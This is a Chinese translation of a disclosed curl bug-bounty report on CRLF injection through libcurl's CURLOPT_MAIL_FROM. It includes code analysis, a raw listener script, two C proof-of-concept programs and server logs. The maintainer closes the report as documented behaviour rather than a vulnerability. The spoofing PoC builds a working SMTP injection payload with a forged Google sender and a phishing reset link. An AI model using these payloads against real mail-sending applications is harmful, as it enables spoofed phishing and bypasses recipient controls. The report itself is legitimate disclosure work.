libcurl SMTP 漏洞:通过CURLOPT_MAIL_FROM的CRLF注入实现邮件伪造

一份关于libcurl中SMTP协议实现漏洞的详细报告。攻击者可通过在CURLOPT_MAIL_FROM中注入回车换行符来提前终止命令并注入任意SMTP指令,从而绕过应用层安全检查、伪造邮件发送方并实施钓鱼攻击。

漏洞报告 #3451305 - 通过CURLOPT_MAIL_FROM中的CRLF进行SMTP协议注入导致邮件伪造

摘要

libcurl的SMTP实现在处理CURLOPT_MAIL_FROM选项时存在一个关键漏洞。与通过Curl_junkscan进行严格验证的完整URL不同,通过curl_easy_setopt提供给CURLOPT_MAIL_FROM的输入未对控制字符进行净化。

这使得攻击者能够将回车和换行符(\r\n)序列注入发件人地址中。通过这样做,攻击者可以提前终止MAIL FROM命令,并将任意SMTP命令(如RCPT TODATA和自定义头)直接注入控制通道。这有效地破坏了协议封装,允许进行电子邮件伪造和安全控制绕过。

AI声明:本报告是在AI代理的协助下研究和生成的,用于分析libcurl源代码并识别不一致的验证逻辑。然而,该漏洞已通过手动验证、编译并在本地执行了概念验证代码,并针对原始TCP服务器确认了其有效性和可复现性。

受影响版本

该漏洞在以下版本中复现:

1
2
3
4
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

漏洞代码分析

该漏洞源于libcurl根据使用的API处理输入验证时存在差异。

1. 严格标准(安全):lib/urlapi.c

解析完整URL时(例如smtp://...),libcurl使用Curl_junkscan来确保不存在控制字符。这可以防止通过URL本身进行注入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* lib/urlapi.c - Curl_junkscan 逻辑 */
CURLUcode Curl_junkscan(const char *url, size_t *urllen, bool allowspace)
{
  /* ... */
  for(i = 0; i < n; i++) {
    /* 拒绝任何小于32的字符(ASCII控制字符) */
    if(p[i] <= control || p[i] == 127)
      return CURLUE_MALFORMED_INPUT;
  }
  return CURLUE_OK;
}

2. 缺失的验证(易受攻击):lib/setopt.c

通过curl_easy_setopt单独设置选项时,特别是CURLOPT_MAIL_FROM,验证被绕过了。Curl_setstropt函数仅复制字符串而不进行净化。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/* lib/setopt.c - 处理 CURLOPT_MAIL_FROM */
case CURLOPT_MAIL_FROM:
  result = Curl_setstropt(&data->set.str[STRING_MAIL_FROM], va_arg(param, char *));
  break;

/* Curl_setstropt 实现 */
CURLcode Curl_setstropt(char **charp, const char *s)
{
  /* ... */
  if(s) {
    /* 漏洞点:原始 strdup,未调用 Curl_junkscan 或检查 CRLF */
    *charp = strdup(s);
    if(!*charp)
      return CURLE_OUT_OF_MEMORY;
  }
  return CURLE_OK;
}

3. 注入点:lib/smtp.c

未经净化的字符串随后直接在SMTP协议状态机中使用。Curl_pp_sendf函数格式化命令并将其发送到套接字,将注入的\r\n视为协议分隔符。

1
2
3
/* lib/smtp.c - smtp_perform_mail() */
/* 'from' 包含攻击者控制的带有 CRLF 的字符串 */
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);

复现步骤

要复现此问题,我们需要一个显示线路上接收的确切字节的“原始接收器”服务器,因为标准SMTP服务器可能会通过静默处理命令来掩盖注入。

  1. 启动原始接收器服务器:保存提供的raw_server.py脚本并运行它。它在端口1025上监听并打印原始传入数据。
  2. 编译并运行精准概念验证程序 (poc.c):此C程序使用libcurl注入单个隐藏的RCPT TO命令。这在不破坏会话流的情况下证明了协议注入。
  3. 编译并运行伪造概念验证程序 (poc_spoofing.c):此C程序演示了一个具体的攻击场景。它注入DATA和自定义头以完全伪造一封来自admin@google.com的电子邮件,绕过应用程序的预期逻辑。
  4. 观察服务器日志raw_server.py的输出将显示libcurl在单个数据块中发送了多个SMTP命令,从而证实了缺乏净化。

支持材料/参考文献

1. 原始接收器服务器 (raw_server.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

def run_raw_server():
    host = '127.0.0.1'
    port = 1025
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[+] Raw Server listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            # 发送初始SMTP横幅以满足libcurl
            conn.sendall(b"220 FakeSMTP\r\n")
            while True:
                data = conn.recv(4096)
                if not data: break
                print("-" * 40)
                # 显示原始字节以证明 CRLF 注入
                print(f"RECEIVED RAW:\n{data.decode('utf-8', errors='ignore')}")
                print("-" * 40)
                if b"QUIT" in data: break
                # 确认命令以保持流程继续
                conn.sendall(b"250 OK\r\n")

if __name__ == "__main__":
    run_raw_server()

2. 精准概念验证程序 (poc.c)

此代码演示了注入一个不在CURLOPT_MAIL_RCPT列表中的二级收件人 (victim@target.com)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    /*
     * 载荷:终止 MAIL FROM 并注入一个新的 RCPT TO 命令。
     * 服务器将看到在一个数据包中发送的两个不同的命令。
     */
    const char *malicious_from = "<attacker@evil.com>\r\nRCPT TO:<victim@target.com>";

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, malicious_from);

        // 我们还添加一个合法的收件人以显示流程正常继续
        struct curl_slist *rcpt = curl_slist_append(NULL, "<legit@example.com>");
        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);

        // 空正文
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);

        curl_easy_perform(curl);
        curl_slist_free_all(rcpt);
        curl_easy_cleanup(curl);
    }
    return 0;
}

3. 具体伪造场景 (poc_spoofing.c)

此代码演示了一个完整的钓鱼攻击,攻击者接管会话以伪造发件人和主题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;

    /*
     * 伪造载荷:
     * 1. 关闭 MAIL FROM 命令。
     * 2. 注入 RCPT TO(绕过应用程序收件人列表)。
     * 3. 注入 DATA 以开始电子邮件内容。
     * 4. 伪造 'From' 头以冒充受信任实体。
     * 5. 结束电子邮件并 QUIT。
     */
    const char *spoof_payload = "<attacker@evil.com>\r\n"
                                "RCPT TO:<victim@target.com>\r\n"
                                "DATA\r\n"
                                "From: Security Team <admin@google.com>\r\n"
                                "To: Victim <victim@target.com>\r\n"
                                "Subject: URGENT: Password Reset Required\r\n"
                                "\r\n"
                                "Click here to reset your password: http://fake-google.com\r\n"
                                ".\r\n"
                                "QUIT";

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");

        // 漏洞:将载荷注入 MAIL_FROM
        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, spoof_payload);

        // 虚拟收件人以满足 libcurl 的内部检查
        struct curl_slist *rcpt = curl_slist_append(NULL, "<ignored@example.com>");
        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);

        // 禁用正常上传,因为我们通过 MAIL_FROM 注入了一切
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);

        curl_easy_perform(curl);
        curl_slist_free_all(rcpt);
        curl_easy_cleanup(curl);
    }
    return 0;
}

4. 证据(服务器日志)

运行 poc_spoofing.craw_server.py 的输出。注意,libcurl 将头信息和正文作为原始命令发送,并且服务器接受了伪造的 From 头。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[+] 原始服务器监听 127.0.0.1:1025
[+] 连接来自 ('127.0.0.1', 42538)
----------------------------------------
收到(原始字节):
b'EHLO anonymous-Advanced-Gaming-Laptop\r\n'
收到(解码):
EHLO anonymous-Advanced-Gaming-Laptop

----------------------------------------
----------------------------------------
收到(原始字节):
b'MAIL FROM:<attacker@evil.com>\r\nRCPT TO:<victim@target.com>\r\nDATA\r\nFrom: Security Team <admin@google.com>\r\nTo: Victim <victim@target.com>\r\nSubject: URGENT: Password Reset Required\r\n\r\nClick here to reset your password: http://fake-google.com\r\n.\r\nQUIT>\r\n'
收到(解码):
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
From: Security Team <admin@google.com>
To: Victim <victim@target.com>
Subject: URGENT: Password Reset Required

Click here to reset your password: http://fake-google.com
.
QUIT>

----------------------------------------

影响

攻击者可以实现哪些安全影响?

此漏洞允许攻击者打破预期的SMTP命令结构,导致三个关键的安全影响:

1. 安全控制绕过(收件人白名单绕过)

许多应用程序实施安全逻辑来限制谁可以接收电子邮件(例如,仅限内部 @company.com 地址)。此逻辑通常验证传递给 CURLOPT_MAIL_RCPT 的列表。

通过在 MAIL FROM 字段内注入 RCPT TO:<attacker@evil.com> 命令,攻击者完全绕过了这些应用级检查。应用程序认为它正在向安全的收件人发送电子邮件,而 libcurl 却秘密指示 SMTP 服务器向攻击者或任意受害者发送副本。

2. 高保真钓鱼和伪造

通过注入 DATA 命令,攻击者获得对电子邮件内容和头信息(主题、日期,以及最重要的、向用户显示的 From 头)的完全控制。

由于电子邮件源自合法的应用程序服务器(该服务器可能拥有域名的有效 SPF/DKIM 记录),这些伪造的电子邮件将通过反垃圾邮件检查,并对收件人显得完全合法。这允许进行非常有效的钓鱼攻击(例如,来自受信任内部工具的“密码重置”电子邮件)。

3. SMTP 会话投毒

攻击者可以使SMTP状态机失步。通过注入应用程序不知道的命令,攻击者可以更改连接的状态,可能会影响通过同一重用连接发送的后续电子邮件传输(如果连接池处于活动状态),从而导致合法用户的数据泄露或拒绝服务。


(后续内容为报告处理流程的翻译)

bagder (curl 工作人员)10小时前 发表了评论。

谢谢。 这不被视为一个漏洞,事实上是已记录的行为。这里没有人在注入CRLF,只是用户自己向curl发送“垃圾”并要求一些奇怪的事情发生。

bagder (curl 工作人员) 关闭了报告并将状态更改为“不适用”。 10小时前

被认为不是安全问题。

bagder (curl 工作人员) 请求披露此报告。 9小时前

根据项目的透明性政策,我们希望所有报告都被披露并公开。

anonymous_237 发表了评论。 9小时前

我完全同意披露。感谢您的时间和详细审查。

我尊重这个决定,并注意到关于“头信息中的CRLF”的安全文档,该文档澄清了libcurl“按原样”发送此类数据而不进行净化。

公开记录一下,本报告的动机是观察到应用于完整URL(Curl_junkscan保护协议)的严格净化与curl_easy_setopt中的原始处理之间的差异。

我希望这份报告能作为一个有用的提醒,提醒开发人员必须手动净化传递给像CURLOPT_MAIL_FROM这样的选项的输入,因为库在该级别上依赖应用程序来确保协议的完整性。

bagder (curl 工作人员) 披露了此报告。 9小时前

报告日期:2025年12月4日,UTC时间9:55 报告人:anonymous_237 报告对象:curl 参与者:… 报告ID:#3451305 严重性:无评级 (—) 披露日期:2025年12月4日,UTC时间11:23 弱点:CRLF 注入 CVE ID:无 赏金:无 账户详情:无

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计